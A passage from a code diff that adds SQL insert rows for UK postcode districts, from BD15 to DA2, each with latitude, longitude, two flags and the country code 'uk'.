+('BD15', '', '', '53.81', '-1.836', 0, 1, 'uk'),
+('BD16', '', '', '53.849', '-1.833', 0, 1, 'uk'),
+('BD17', '', '', '53.847', '-1.767', 0, 1, 'uk'),
+('BD18', '', '', '53.831', '-1.776', 0, 1, 'uk'),
+('BD19', '', '', '53.727', '-1.712', 0, 1, 'uk'),
+('BD2', '', '', '53.814', '-1.734', 0, 1, 'uk'),
+('BD20', '', '', '53.897', '-1.947', 0, 1, 'uk'),
+('BD21', '', '', '53.864', '-1.906', 0, 1, 'uk'),
+('BD22', '', '', '53.846', '-1.952', 0, 1, 'uk'),
+('BD23', '', '', '53.993', '-2.054', 0, 1, 'uk'),
+('BD24', '', '', '54.077', '-2.274', 0, 1, 'uk'),
+('BD3', '', '', '53.798', '-1.727', 0, 1, 'uk'),
+('BD4', '', '', '53.776', '-1.718', 0, 1, 'uk'),
+('BD5', '', '', '53.778', '-1.758', 0, 1, 'uk'),
+('BD6', '', '', '53.765', '-1.783', 0, 1, 'uk'),
+('BD7', '', '', '53.783', '-1.782', 0, 1, 'uk'),
+('BD8', '', '', '53.801', '-1.781', 0, 1, 'uk'),
+('BD9', '', '', '53.812', '-1.789', 0, 1, 'uk'),
+('BH1', '', '', '50.724', '-1.86', 0, 1, 'uk'),
+('BH10', '', '', '50.759', '-1.891', 0, 1, 'uk'),
+('BH11', '', '', '50.761', '-1.917', 0, 1, 'uk'),
+('BH12', '', '', '50.737', '-1.926', 0, 1, 'uk'),
+('BH13', '', '', '50.71', '-1.917', 0, 1, 'uk'),
+('BH14', '', '', '50.721', '-1.944', 0, 1, 'uk'),
+('BH15', '', '', '50.722', '-1.984', 0, 1, 'uk'),
+('BH16', '', '', '50.738', '-2.044', 0, 1, 'uk'),
+('BH17', '', '', '50.746', '-1.975', 0, 1, 'uk'),
+('BH18', '', '', '50.758', '-1.993', 0, 1, 'uk'),
+('BH19', '', '', '50.611', '-1.97', 0, 1, 'uk'),
+('BH2', '', '', '50.721', '-1.881', 0, 1, 'uk'),
+('BH20', '', '', '50.686', '-2.146', 0, 1, 'uk'),
+('BH21', '', '', '50.812', '-1.973', 0, 1, 'uk'),
+('BH22', '', '', '50.805', '-1.887', 0, 1, 'uk'),
+('BH23', '', '', '50.746', '-1.754', 0, 1, 'uk'),
+('BH24', '', '', '50.844', '-1.786', 0, 1, 'uk'),
+('BH25', '', '', '50.752', '-1.657', 0, 1, 'uk'),
+('BH3', '', '', '50.735', '-1.88', 0, 1, 'uk'),
+('BH31', '', '', '50.876', '-1.872', 0, 1, 'uk'),
+('BH4', '', '', '50.721', '-1.898', 0, 1, 'uk'),
+('BH5', '', '', '50.725', '-1.834', 0, 1, 'uk'),
+('BH6', '', '', '50.727', '-1.804', 0, 1, 'uk'),
+('BH7', '', '', '50.735', '-1.831', 0, 1, 'uk'),
+('BH8', '', '', '50.74', '-1.851', 0, 1, 'uk'),
+('BH9', '', '', '50.749', '-1.871', 0, 1, 'uk'),
+('BL0', '', '', '53.646', '-2.315', 0, 1, 'uk'),
+('BL1', '', '', '53.59', '-2.444', 0, 1, 'uk'),
+('BL2', '', '', '53.588', '-2.395', 0, 1, 'uk'),
+('BL3', '', '', '53.565', '-2.431', 0, 1, 'uk'),
+('BL4', '', '', '53.547', '-2.4', 0, 1, 'uk'),
+('BL5', '', '', '53.549', '-2.515', 0, 1, 'uk'),
+('BL6', '', '', '53.592', '-2.539', 0, 1, 'uk'),
+('BL7', '', '', '53.63', '-2.421', 0, 1, 'uk'),
+('BL8', '', '', '53.605', '-2.327', 0, 1, 'uk'),
+('BL9', '', '', '53.592', '-2.286', 0, 1, 'uk'),
+('BN1', '', '', '50.839', '-0.138', 0, 1, 'uk'),
+('BN10', '', '', '50.795', '0.003', 0, 1, 'uk'),
+('BN11', '', '', '50.813', '-0.376', 0, 1, 'uk'),
+('BN12', '', '', '50.813', '-0.425', 0, 1, 'uk'),
+('BN13', '', '', '50.83', '-0.405', 0, 1, 'uk'),
+('BN14', '', '', '50.832', '-0.38', 0, 1, 'uk'),
+('BN15', '', '', '50.83', '-0.324', 0, 1, 'uk'),
+('BN16', '', '', '50.814', '-0.494', 0, 1, 'uk'),
+('BN17', '', '', '50.814', '-0.535', 0, 1, 'uk'),
+('BN18', '', '', '50.848', '-0.579', 0, 1, 'uk'),
+('BN2', '', '', '50.824', '-0.103', 0, 1, 'uk'),
+('BN20', '', '', '50.774', '0.255', 0, 1, 'uk'),
+('BN21', '', '', '50.773', '0.277', 0, 1, 'uk'),
+('BN22', '', '', '50.788', '0.284', 0, 1, 'uk'),
+('BN23', '', '', '50.798', '0.314', 0, 1, 'uk'),
+('BN24', '', '', '50.816', '0.331', 0, 1, 'uk'),
+('BN25', '', '', '50.776', '0.11', 0, 1, 'uk'),
+('BN26', '', '', '50.821', '0.223', 0, 1, 'uk'),
+('BN27', '', '', '50.871', '0.265', 0, 1, 'uk'),
+('BN3', '', '', '50.835', '-0.174', 0, 1, 'uk'),
+('BN4', '', '', '50.833577', '-0.220172', 0, 1, 'uk'),
+('BN41', '', '', '50.84', '-0.215', 0, 1, 'uk'),
+('BN42', '', '', '50.837', '-0.231', 0, 1, 'uk'),
+('BN43', '', '', '50.836', '-0.266', 0, 1, 'uk'),
+('BN44', '', '', '50.89', '-0.322', 0, 1, 'uk'),
+('BN45', '', '', '50.889', '-0.185', 0, 1, 'uk'),
+('BN5', '', '', '50.927', '-0.268', 0, 1, 'uk'),
+('BN6', '', '', '50.929', '-0.152', 0, 1, 'uk'),
+('BN7', '', '', '50.877', '0.001', 0, 1, 'uk'),
+('BN8', '', '', '50.913', '0.052', 0, 1, 'uk'),
+('BN9', '', '', '50.795', '0.051', 0, 1, 'uk'),
+('BR1', '', '', '51.411', '0.022', 0, 1, 'uk'),
+('BR2', '', '', '51.389', '0.023', 0, 1, 'uk'),
+('BR3', '', '', '51.403', '-0.031', 0, 1, 'uk'),
+('BR4', '', '', '51.375', '-0.007', 0, 1, 'uk'),
+('BR5', '', '', '51.39', '0.104', 0, 1, 'uk'),
+('BR6', '', '', '51.366', '0.094', 0, 1, 'uk'),
+('BR7', '', '', '51.41', '0.072', 0, 1, 'uk'),
+('BR8', '', '', '51.398', '0.176', 0, 1, 'uk'),
+('BS1', '', '', '51.453', '-2.593', 0, 1, 'uk'),
+('BS10', '', '', '51.506', '-2.61', 0, 1, 'uk'),
+('BS11', '', '', '51.497', '-2.675', 0, 1, 'uk'),
+('BS12', '', '', '51.513976', '-2.54646', 0, 1, 'uk'),
+('BS13', '', '', '51.412', '-2.611', 0, 1, 'uk'),
+('BS14', '', '', '51.413', '-2.561', 0, 1, 'uk'),
+('BS15', '', '', '51.459', '-2.506', 0, 1, 'uk'),
+('BS16', '', '', '51.485', '-2.51', 0, 1, 'uk'),
+('BS17', '', '', '51.462518', '-2.520625', 0, 1, 'uk'),
+('BS18', '', '', '51.379781', '-2.507386', 0, 1, 'uk'),
+('BS19', '', '', '51.246836', '-2.443326', 0, 1, 'uk'),
+('BS2', '', '', '51.46', '-2.581', 0, 1, 'uk'),
+('BS20', '', '', '51.479', '-2.752', 0, 1, 'uk'),
+('BS21', '', '', '51.435', '-2.849', 0, 1, 'uk'),
+('BS22', '', '', '51.36', '-2.929', 0, 1, 'uk'),
+('BS23', '', '', '51.343', '-2.97', 0, 1, 'uk'),
+('BS24', '', '', '51.327', '-2.932', 0, 1, 'uk'),
+('BS25', '', '', '51.32', '-2.826', 0, 1, 'uk'),
+('BS26', '', '', '51.279', '-2.855', 0, 1, 'uk'),
+('BS27', '', '', '51.271', '-2.77', 0, 1, 'uk'),
+('BS28', '', '', '51.225', '-2.814', 0, 1, 'uk'),
+('BS29', '', '', '51.331', '-2.878', 0, 1, 'uk'),
+('BS3', '', '', '51.438', '-2.602', 0, 1, 'uk'),
+('BS30', '', '', '51.445', '-2.472', 0, 1, 'uk'),
+('BS31', '', '', '51.408', '-2.491', 0, 1, 'uk'),
+('BS32', '', '', '51.542', '-2.559', 0, 1, 'uk'),
+('BS34', '', '', '51.523', '-2.564', 0, 1, 'uk'),
+('BS35', '', '', '51.596', '-2.549', 0, 1, 'uk'),
+('BS36', '', '', '51.526', '-2.486', 0, 1, 'uk'),
+('BS37', '', '', '51.539', '-2.416', 0, 1, 'uk'),
+('BS39', '', '', '51.328', '-2.532', 0, 1, 'uk'),
+('BS4', '', '', '51.435', '-2.561', 0, 1, 'uk'),
+('BS40', '', '', '51.346', '-2.691', 0, 1, 'uk'),
+('BS41', '', '', '51.422', '-2.651', 0, 1, 'uk'),
+('BS43', '', '', '51.44008', '-2.595185', 0, 1, 'uk'),
+('BS48', '', '', '51.425', '-2.747', 0, 1, 'uk'),
+('BS49', '', '', '51.38', '-2.817', 0, 1, 'uk'),
+('BS5', '', '', '51.462', '-2.551', 0, 1, 'uk'),
+('BS6', '', '', '51.47', '-2.599', 0, 1, 'uk'),
+('BS7', '', '', '51.486', '-2.58', 0, 1, 'uk'),
+('BS8', '', '', '51.457', '-2.621', 0, 1, 'uk'),
+('BS9', '', '', '51.487', '-2.625', 0, 1, 'uk'),
+('BS99', '', '', '51.458', '-2.573', 0, 1, 'uk'),
+('BT1', '', '', '54.599', '-5.928', 0, 1, 'uk'),
+('BT10', '', '', '54.56', '-5.984', 0, 1, 'uk'),
+('BT11', '', '', '54.576', '-5.997', 0, 1, 'uk'),
+('BT12', '', '', '54.592', '-5.956', 0, 1, 'uk'),
+('BT13', '', '', '54.606', '-5.958', 0, 1, 'uk'),
+('BT14', '', '', '54.621', '-5.961', 0, 1, 'uk'),
+('BT15', '', '', '54.623', '-5.931', 0, 1, 'uk'),
+('BT16', '', '', '54.591', '-5.797', 0, 1, 'uk'),
+('BT17', '', '', '54.554', '-6.017', 0, 1, 'uk'),
+('BT18', '', '', '54.641', '-5.82', 0, 1, 'uk'),
+('BT19', '', '', '54.652', '-5.666', 0, 1, 'uk'),
+('BT2', '', '', '54.593', '-5.93', 0, 1, 'uk'),
+('BT20', '', '', '54.658', '-5.664', 0, 1, 'uk'),
+('BT21', '', '', '54.639', '-5.545', 0, 1, 'uk'),
+('BT22', '', '', '54.503', '-5.519', 0, 1, 'uk'),
+('BT23', '', '', '54.563', '-5.715', 0, 1, 'uk'),
+('BT24', '', '', '54.417', '-5.872', 0, 1, 'uk'),
+('BT25', '', '', '54.395', '-6.111', 0, 1, 'uk'),
+('BT26', '', '', '54.452', '-6.06', 0, 1, 'uk'),
+('BT27', '', '', '54.51', '-6.02', 0, 1, 'uk'),
+('BT28', '', '', '54.523', '-6.088', 0, 1, 'uk'),
+('BT29', '', '', '54.62', '-6.195', 0, 1, 'uk'),
+('BT3', '', '', '54.62', '-5.904', 0, 1, 'uk'),
+('BT30', '', '', '54.334', '-5.704', 0, 1, 'uk'),
+('BT31', '', '', '54.278', '-5.97', 0, 1, 'uk'),
+('BT32', '', '', '54.335', '-6.244', 0, 1, 'uk'),
+('BT33', '', '', '54.221', '-5.893', 0, 1, 'uk'),
+('BT34', '', '', '54.155', '-6.18', 0, 1, 'uk'),
+('BT35', '', '', '54.165', '-6.444', 0, 1, 'uk'),
+('BT36', '', '', '54.677', '-5.955', 0, 1, 'uk'),
+('BT37', '', '', '54.677', '-5.907', 0, 1, 'uk'),
+('BT38', '', '', '54.73', '-5.799', 0, 1, 'uk'),
+('BT39', '', '', '54.745', '-6.017', 0, 1, 'uk'),
+('BT4', '', '', '54.603', '-5.867', 0, 1, 'uk'),
+('BT40', '', '', '54.846', '-5.822', 0, 1, 'uk'),
+('BT41', '', '', '54.733', '-6.26', 0, 1, 'uk'),
+('BT42', '', '', '54.854', '-6.282', 0, 1, 'uk'),
+('BT43', '', '', '54.89', '-6.265', 0, 1, 'uk'),
+('BT44', '', '', '54.974', '-6.284', 0, 1, 'uk'),
+('BT45', '', '', '54.76', '-6.639', 0, 1, 'uk'),
+('BT46', '', '', '54.866', '-6.664', 0, 1, 'uk'),
+('BT47', '', '', '54.974', '-7.211', 0, 1, 'uk'),
+('BT48', '', '', '55.009', '-7.328', 0, 1, 'uk'),
+('BT49', '', '', '55.048', '-6.952', 0, 1, 'uk'),
+('BT5', '', '', '54.589', '-5.87', 0, 1, 'uk'),
+('BT51', '', '', '55.058', '-6.681', 0, 1, 'uk'),
+('BT52', '', '', '55.134', '-6.653', 0, 1, 'uk'),
+('BT53', '', '', '55.085', '-6.473', 0, 1, 'uk'),
+('BT54', '', '', '55.2', '-6.258', 0, 1, 'uk'),
+('BT55', '', '', '55.18', '-6.71', 0, 1, 'uk'),
+('BT56', '', '', '55.198', '-6.649', 0, 1, 'uk'),
+('BT57', '', '', '55.202', '-6.517', 0, 1, 'uk'),
+('BT6', '', '', '54.58', '-5.896', 0, 1, 'uk'),
+('BT60', '', '', '54.292', '-6.65', 0, 1, 'uk'),
+('BT61', '', '', '54.368', '-6.623', 0, 1, 'uk'),
+('BT62', '', '', '54.412', '-6.464', 0, 1, 'uk'),
+('BT63', '', '', '54.404', '-6.389', 0, 1, 'uk'),
+('BT64', '', '', '54.45', '-6.392', 0, 1, 'uk'),
+('BT65', '', '', '54.445', '-6.366', 0, 1, 'uk'),
+('BT66', '', '', '54.455', '-6.333', 0, 1, 'uk'),
+('BT67', '', '', '54.487', '-6.268', 0, 1, 'uk'),
+('BT68', '', '', '54.366', '-6.848', 0, 1, 'uk'),
+('BT69', '', '', '54.424', '-6.949', 0, 1, 'uk'),
+('BT7', '', '', '54.582', '-5.924', 0, 1, 'uk'),
+('BT70', '', '', '54.515', '-6.887', 0, 1, 'uk'),
+('BT71', '', '', '54.513', '-6.704', 0, 1, 'uk'),
+('BT74', '', '', '54.343', '-7.665', 0, 1, 'uk'),
+('BT75', '', '', '54.375', '-7.315', 0, 1, 'uk'),
+('BT76', '', '', '54.419', '-7.191', 0, 1, 'uk'),
+('BT77', '', '', '54.427', '-7.117', 0, 1, 'uk'),
+('BT78', '', '', '54.571', '-7.374', 0, 1, 'uk'),
+('BT79', '', '', '54.624', '-7.201', 0, 1, 'uk'),
+('BT8', '', '', '54.54', '-5.905', 0, 1, 'uk'),
+('BT80', '', '', '54.645', '-6.748', 0, 1, 'uk'),
+('BT81', '', '', '54.694', '-7.614', 0, 1, 'uk'),
+('BT82', '', '', '54.826', '-7.427', 0, 1, 'uk'),
+('BT9', '', '', '54.572', '-5.949', 0, 1, 'uk'),
+('BT92', '', '', '54.223', '-7.462', 0, 1, 'uk'),
+('BT93', '', '', '54.465', '-7.826', 0, 1, 'uk'),
+('BT94', '', '', '54.376', '-7.541', 0, 1, 'uk'),
+('C03', '', '', '51.876799', '0.854968', 0, 1, 'uk'),
+('CA1', '', '', '54.886', '-2.911', 0, 1, 'uk'),
+('CA10', '', '', '54.611', '-2.659', 0, 1, 'uk'),
+('CA11', '', '', '54.664', '-2.786', 0, 1, 'uk'),
+('CA12', '', '', '54.602', '-3.133', 0, 1, 'uk'),
+('CA13', '', '', '54.66', '-3.366', 0, 1, 'uk'),
+('CA14', '', '', '54.634', '-3.537', 0, 1, 'uk'),
+('CA15', '', '', '54.712', '-3.481', 0, 1, 'uk'),
+('CA16', '', '', '54.574', '-2.483', 0, 1, 'uk'),
+('CA17', '', '', '54.479', '-2.35', 0, 1, 'uk'),
+('CA18', '', '', '54.354', '-3.39', 0, 1, 'uk'),
+('CA19', '', '', '54.387', '-3.382', 0, 1, 'uk'),
+('CA2', '', '', '54.884', '-2.949', 0, 1, 'uk'),
+('CA20', '', '', '54.41', '-3.461', 0, 1, 'uk'),
+('CA21', '', '', '54.445', '-3.515', 0, 1, 'uk'),
+('CA22', '', '', '54.48', '-3.531', 0, 1, 'uk'),
+('CA23', '', '', '54.514', '-3.493', 0, 1, 'uk'),
+('CA24', '', '', '54.515', '-3.542', 0, 1, 'uk'),
+('CA25', '', '', '54.523', '-3.517', 0, 1, 'uk'),
+('CA26', '', '', '54.544', '-3.481', 0, 1, 'uk'),
+('CA27', '', '', '54.491', '-3.592', 0, 1, 'uk'),
+('CA28', '', '', '54.544', '-3.577', 0, 1, 'uk'),
+('CA3', '', '', '54.907', '-2.939', 0, 1, 'uk'),
+('CA4', '', '', '54.847', '-2.833', 0, 1, 'uk'),
+('CA5', '', '', '54.855', '-3.015', 0, 1, 'uk'),
+('CA6', '', '', '54.994', '-2.892', 0, 1, 'uk'),
+('CA7', '', '', '54.807', '-3.237', 0, 1, 'uk'),
+('CA8', '', '', '54.939', '-2.685', 0, 1, 'uk'),
+('CA9', '', '', '54.802', '-2.419', 0, 1, 'uk'),
+('CB1', '', '', '52.176', '0.19', 0, 1, 'uk'),
+('CB10', '', '', '52.03', '0.266', 0, 1, 'uk'),
+('CB11', '', '', '52', '0.214', 0, 1, 'uk'),
+('CB2', '', '', '52.163', '0.133', 0, 1, 'uk'),
+('CB21', '', '', '52.119036', '0.315929', 0, 1, 'uk'),
+('CB22', '', '', '52.122344', '0.184663', 0, 1, 'uk'),
+('CB23', '', '', '52.149782', '0.056357', 0, 1, 'uk'),
+('CB24', '', '', '52.279289', '0.053552', 0, 1, 'uk'),
+('CB25', '', '', '52.269251', '0.330103', 0, 1, 'uk'),
+('CB3', '', '', '52.213', '0.025', 0, 1, 'uk'),
+('CB4', '', '', '52.243', '0.115', 0, 1, 'uk'),
+('CB5', '', '', '52.239', '0.211', 0, 1, 'uk'),
+('CB6', '', '', '52.404', '0.224', 0, 1, 'uk'),
+('CB7', '', '', '52.366', '0.322', 0, 1, 'uk'),
+('CB8', '', '', '52.231', '0.427', 0, 1, 'uk'),
+('CB9', '', '', '52.082', '0.441', 0, 1, 'uk'),
+('CF1', '', '', '51.483211', '-3.171682', 0, 1, 'uk'),
+('CF10', '', '', '51.474', '-3.176', 0, 1, 'uk'),
+('CF11', '', '', '51.473', '-3.192', 0, 1, 'uk'),
+('CF14', '', '', '51.519', '-3.203', 0, 1, 'uk'),
+('CF15', '', '', '51.534', '-3.273', 0, 1, 'uk'),
+('CF23', '', '', '51.515', '-3.151', 0, 1, 'uk'),
+('CF24', '', '', '51.485', '-3.164', 0, 1, 'uk'),
+('CF3', '', '', '51.519', '-3.111', 0, 1, 'uk'),
+('CF31', '', '', '51.509', '-3.576', 0, 1, 'uk'),
+('CF32', '', '', '51.56', '-3.583', 0, 1, 'uk'),
+('CF33', '', '', '51.524', '-3.69', 0, 1, 'uk'),
+('CF34', '', '', '51.61', '-3.651', 0, 1, 'uk'),
+('CF35', '', '', '51.522', '-3.519', 0, 1, 'uk'),
+('CF36', '', '', '51.485', '-3.698', 0, 1, 'uk'),
+('CF37', '', '', '51.603', '-3.333', 0, 1, 'uk'),
+('CF38', '', '', '51.56', '-3.332', 0, 1, 'uk'),
+('CF39', '', '', '51.601', '-3.423', 0, 1, 'uk'),
+('CF4', '', '', '51.516953', '-3.206791', 0, 1, 'uk'),
+('CF40', '', '', '51.62', '-3.45', 0, 1, 'uk'),
+('CF41', '', '', '51.647', '-3.481', 0, 1, 'uk'),
+('CF42', '', '', '51.667', '-3.522', 0, 1, 'uk'),
+('CF43', '', '', '51.658', '-3.449', 0, 1, 'uk'),
+('CF44', '', '', '51.718', '-3.458', 0, 1, 'uk'),
+('CF45', '', '', '51.669', '-3.361', 0, 1, 'uk'),
+('CF46', '', '', '51.665', '-3.3', 0, 1, 'uk'),
+('CF47', '', '', '51.751', '-3.374', 0, 1, 'uk'),
+('CF48', '', '', '51.741', '-3.369', 0, 1, 'uk'),
+('CF5', '', '', '51.482', '-3.242', 0, 1, 'uk'),
+('CF61', '', '', '51.408', '-3.48', 0, 1, 'uk'),
+('CF62', '', '', '51.404', '-3.308', 0, 1, 'uk'),
+('CF63', '', '', '51.412', '-3.256', 0, 1, 'uk'),
+('CF64', '', '', '51.433', '-3.189', 0, 1, 'uk'),
+('CF71', '', '', '51.461', '-3.454', 0, 1, 'uk'),
+('CF72', '', '', '51.53', '-3.398', 0, 1, 'uk'),
+('CF77', '', '', '51.450009', '-3.416403', 0, 1, 'uk'),
+('CF81', '', '', '51.7', '-3.243', 0, 1, 'uk'),
+('CF82', '', '', '51.652', '-3.236', 0, 1, 'uk'),
+('CF83', '', '', '51.586', '-3.217', 0, 1, 'uk'),
+('CH1', '', '', '53.202', '-2.908', 0, 1, 'uk'),
+('CH2', '', '', '53.216', '-2.868', 0, 1, 'uk'),
+('CH3', '', '', '53.167', '-2.822', 0, 1, 'uk'),
+('CH4', '', '', '53.168', '-2.939', 0, 1, 'uk'),
+('CH41', '', '', '53.394', '-3.03', 0, 1, 'uk'),
+('CH42', '', '', '53.374', '-3.021', 0, 1, 'uk'),
+('CH43', '', '', '53.383', '-3.058', 0, 1, 'uk'),
+('CH44', '', '', '53.415', '-3.036', 0, 1, 'uk'),
+('CH45', '', '', '53.428', '-3.05', 0, 1, 'uk'),
+('CH46', '', '', '53.404', '-3.11', 0, 1, 'uk'),
+('CH47', '', '', '53.396', '-3.168', 0, 1, 'uk'),
+('CH48', '', '', '53.372', '-3.169', 0, 1, 'uk'),
+('CH49', '', '', '53.381', '-3.103', 0, 1, 'uk'),
+('CH5', '', '', '53.204', '-3.041', 0, 1, 'uk'),
+('CH6', '', '', '53.25', '-3.145', 0, 1, 'uk'),
+('CH60', '', '', '53.326', '-3.095', 0, 1, 'uk'),
+('CH61', '', '', '53.348', '-3.101', 0, 1, 'uk'),
+('CH62', '', '', '53.334', '-2.981', 0, 1, 'uk'),
+('CH63', '', '', '53.345', '-3.011', 0, 1, 'uk'),
+('CH64', '', '', '53.288', '-3.047', 0, 1, 'uk'),
+('CH65', '', '', '53.277', '-2.902', 0, 1, 'uk'),
+('CH66', '', '', '53.277', '-2.934', 0, 1, 'uk'),
+('CH7', '', '', '53.169', '-3.133', 0, 1, 'uk'),
+('CH8', '', '', '53.281', '-3.241', 0, 1, 'uk'),
+('CM0', '', '', '51.663', '0.837', 0, 1, 'uk'),
+('CM1', '', '', '51.745', '0.457', 0, 1, 'uk'),
+('CM10', '', '', '51.637021', '0.790966', 0, 1, 'uk'),
+('CM11', '', '', '51.623', '0.446', 0, 1, 'uk'),
+('CM12', '', '', '51.628', '0.416', 0, 1, 'uk'),
+('CM13', '', '', '51.615', '0.338', 0, 1, 'uk'),
+('CM14', '', '', '51.618', '0.293', 0, 1, 'uk'),
+('CM15', '', '', '51.643', '0.306', 0, 1, 'uk'),
+('CM16', '', '', '51.7', '0.122', 0, 1, 'uk'),
+('CM17', '', '', '51.771', '0.146', 0, 1, 'uk'),
+('CM18', '', '', '51.756', '0.107', 0, 1, 'uk'),
+('CM19', '', '', '51.76', '0.075', 0, 1, 'uk'),
+('CM2', '', '', '51.722', '0.487', 0, 1, 'uk'),
+('CM20', '', '', '51.775', '0.105', 0, 1, 'uk'),
+('CM21', '', '', '51.812', '0.147', 0, 1, 'uk'),
+('CM22', '', '', '51.862', '0.222', 0, 1, 'uk'),
+('CM23', '', '', '51.871', '0.16', 0, 1, 'uk'),
+('CM24', '', '', '51.899', '0.207', 0, 1, 'uk'),
+('CM3', '', '', '51.72', '0.585', 0, 1, 'uk'),
+('CM4', '', '', '51.674', '0.392', 0, 1, 'uk'),
+('CM5', '', '', '51.721', '0.249', 0, 1, 'uk'),
+('CM6', '', '', '51.877', '0.367', 0, 1, 'uk'),
+('CM7', '', '', '51.897', '0.539', 0, 1, 'uk'),
+('CM8', '', '', '51.805', '0.639', 0, 1, 'uk'),
+('CM9', '', '', '51.741', '0.702', 0, 1, 'uk'),
+('CM99', '', '', '51.736822', '0.476129', 0, 1, 'uk'),
+('CO1', '', '', '51.889', '0.91', 0, 1, 'uk'),
+('CO10', '', '', '52.057', '0.724', 0, 1, 'uk'),
+('CO11', '', '', '51.942', '1.079', 0, 1, 'uk'),
+('CO12', '', '', '51.931', '1.255', 0, 1, 'uk'),
+('CO13', '', '', '51.838', '1.239', 0, 1, 'uk'),
+('CO14', '', '', '51.85', '1.269', 0, 1, 'uk'),
+('CO15', '', '', '51.796', '1.157', 0, 1, 'uk'),
+('CO16', '', '', '51.821', '1.126', 0, 1, 'uk'),
+('CO2', '', '', '51.869', '0.895', 0, 1, 'uk'),
+('CO3', '', '', '51.884', '0.863', 0, 1, 'uk'),
+('CO4', '', '', '51.907', '0.924', 0, 1, 'uk'),
+('CO5', '', '', '51.814', '0.822', 0, 1, 'uk'),
+('CO6', '', '', '51.924', '0.79', 0, 1, 'uk'),
+('CO7', '', '', '51.884', '1.005', 0, 1, 'uk'),
+('CO8', '', '', '51.973', '0.767', 0, 1, 'uk'),
+('CO9', '', '', '51.969', '0.611', 0, 1, 'uk'),
+('CR0', '', '', '51.372', '-0.074', 0, 1, 'uk'),
+('CR1', '', '', '51.375444', '-0.102335', 0, 1, 'uk'),
+('CR2', '', '', '51.35', '-0.08', 0, 1, 'uk'),
+('CR3', '', '', '51.287', '-0.08', 0, 1, 'uk'),
+('CR4', '', '', '51.404', '-0.159', 0, 1, 'uk'),
+('CR5', '', '', '51.312', '-0.139', 0, 1, 'uk'),
+('CR6', '', '', '51.308', '-0.052', 0, 1, 'uk'),
+('CR7', '', '', '51.395', '-0.103', 0, 1, 'uk'),
+('CR8', '', '', '51.336', '-0.11', 0, 1, 'uk'),
+('CR9', '', '', '51.374944', '-0.097011', 0, 1, 'uk'),
+('CT1', '', '', '51.277', '1.087', 0, 1, 'uk'),
+('CT10', '', '', '51.362', '1.431', 0, 1, 'uk'),
+('CT11', '', '', '51.336', '1.415', 0, 1, 'uk'),
+('CT12', '', '', '51.343', '1.373', 0, 1, 'uk'),
+('CT13', '', '', '51.267', '1.33', 0, 1, 'uk'),
+('CT14', '', '', '51.216', '1.387', 0, 1, 'uk'),
+('CT15', '', '', '51.171', '1.284', 0, 1, 'uk'),
+('CT16', '', '', '51.14', '1.302', 0, 1, 'uk'),
+('CT17', '', '', '51.128', '1.296', 0, 1, 'uk'),
+('CT18', '', '', '51.114', '1.15', 0, 1, 'uk'),
+('CT19', '', '', '51.088', '1.17', 0, 1, 'uk'),
+('CT2', '', '', '51.293', '1.082', 0, 1, 'uk'),
+('CT20', '', '', '51.079', '1.166', 0, 1, 'uk'),
+('CT21', '', '', '51.073', '1.078', 0, 1, 'uk'),
+('CT3', '', '', '51.278', '1.212', 0, 1, 'uk'),
+('CT4', '', '', '51.225', '1.068', 0, 1, 'uk'),
+('CT5', '', '', '51.353', '1.037', 0, 1, 'uk'),
+('CT6', '', '', '51.364', '1.131', 0, 1, 'uk'),
+('CT7', '', '', '51.371', '1.301', 0, 1, 'uk'),
+('CT8', '', '', '51.38', '1.341', 0, 1, 'uk'),
+('CT9', '', '', '51.383', '1.391', 0, 1, 'uk'),
+('CV1', '', '', '52.41', '-1.507', 0, 1, 'uk'),
+('CV10', '', '', '52.525', '-1.5', 0, 1, 'uk'),
+('CV11', '', '', '52.519', '-1.453', 0, 1, 'uk'),
+('CV12', '', '', '52.474', '-1.473', 0, 1, 'uk'),
+('CV13', '', '', '52.612', '-1.414', 0, 1, 'uk'),
+('CV2', '', '', '52.423', '-1.464', 0, 1, 'uk'),
+('CV21', '', '', '52.368', '-1.274', 0, 1, 'uk'),
+('CV22', '', '', '52.355', '-1.287', 0, 1, 'uk'),
+('CV23', '', '', '52.361', '-1.308', 0, 1, 'uk'),
+('CV3', '', '', '52.393', '-1.482', 0, 1, 'uk'),
+('CV31', '', '', '52.278', '-1.524', 0, 1, 'uk'),
+('CV32', '', '', '52.296', '-1.53', 0, 1, 'uk'),
+('CV33', '', '', '52.257', '-1.484', 0, 1, 'uk'),
+('CV34', '', '', '52.283', '-1.579', 0, 1, 'uk'),
+('CV35', '', '', '52.229', '-1.595', 0, 1, 'uk'),
+('CV36', '', '', '52.067', '-1.625', 0, 1, 'uk'),
+('CV37', '', '', '52.185', '-1.713', 0, 1, 'uk'),
+('CV4', '', '', '52.398', '-1.565', 0, 1, 'uk'),
+('CV47', '', '', '52.234', '-1.385', 0, 1, 'uk'),
+('CV5', '', '', '52.412', '-1.551', 0, 1, 'uk'),
+('CV6', '', '', '52.432', '-1.507', 0, 1, 'uk'),
+('CV7', '', '', '52.444', '-1.563', 0, 1, 'uk'),
+('CV8', '', '', '52.351', '-1.543', 0, 1, 'uk'),
+('CV9', '', '', '52.585', '-1.558', 0, 1, 'uk'),
+('CW1', '', '', '53.103', '-2.434', 0, 1, 'uk'),
+('CW10', '', '', '53.189', '-2.445', 0, 1, 'uk'),
+('CW11', '', '', '53.142', '-2.365', 0, 1, 'uk'),
+('CW12', '', '', '53.165', '-2.212', 0, 1, 'uk'),
+('CW2', '', '', '53.081', '-2.446', 0, 1, 'uk'),
+('CW3', '', '', '53', '-2.406', 0, 1, 'uk'),
+('CW4', '', '', '53.207', '-2.347', 0, 1, 'uk'),
+('CW5', '', '', '53.062', '-2.521', 0, 1, 'uk'),
+('CW6', '', '', '53.162', '-2.666', 0, 1, 'uk'),
+('CW7', '', '', '53.19', '-2.526', 0, 1, 'uk'),
+('CW8', '', '', '53.254', '-2.563', 0, 1, 'uk'),
+('CW9', '', '', '53.259', '-2.501', 0, 1, 'uk'),
+('DA1', '', '', '51.447', '0.21', 0, 1, 'uk'),
+('DA10', '', '', '51.444', '0.308', 0, 1, 'uk'),
+('DA11', '', '', '51.434', '0.354', 0, 1, 'uk'),
+('DA12', '', '', '51.427', '0.389', 0, 1, 'uk'),
+('DA13', '', '', '51.382', '0.355', 0, 1, 'uk'),
+('DA14', '', '', '51.425', '0.113', 0, 1, 'uk'),
+('DA15', '', '', '51.44', '0.1', 0, 1, 'uk'),
+('DA16', '', '', '51.464', '0.109', 0, 1, 'uk'),
+('DA17', '', '', '51.487', '0.149', 0, 1, 'uk'),
+('DA18', '', '', '51.492', '0.144', 0, 1, 'uk'),
+('DA2', '', '', '51.432', '0.234', 0, 1, 'uk'),
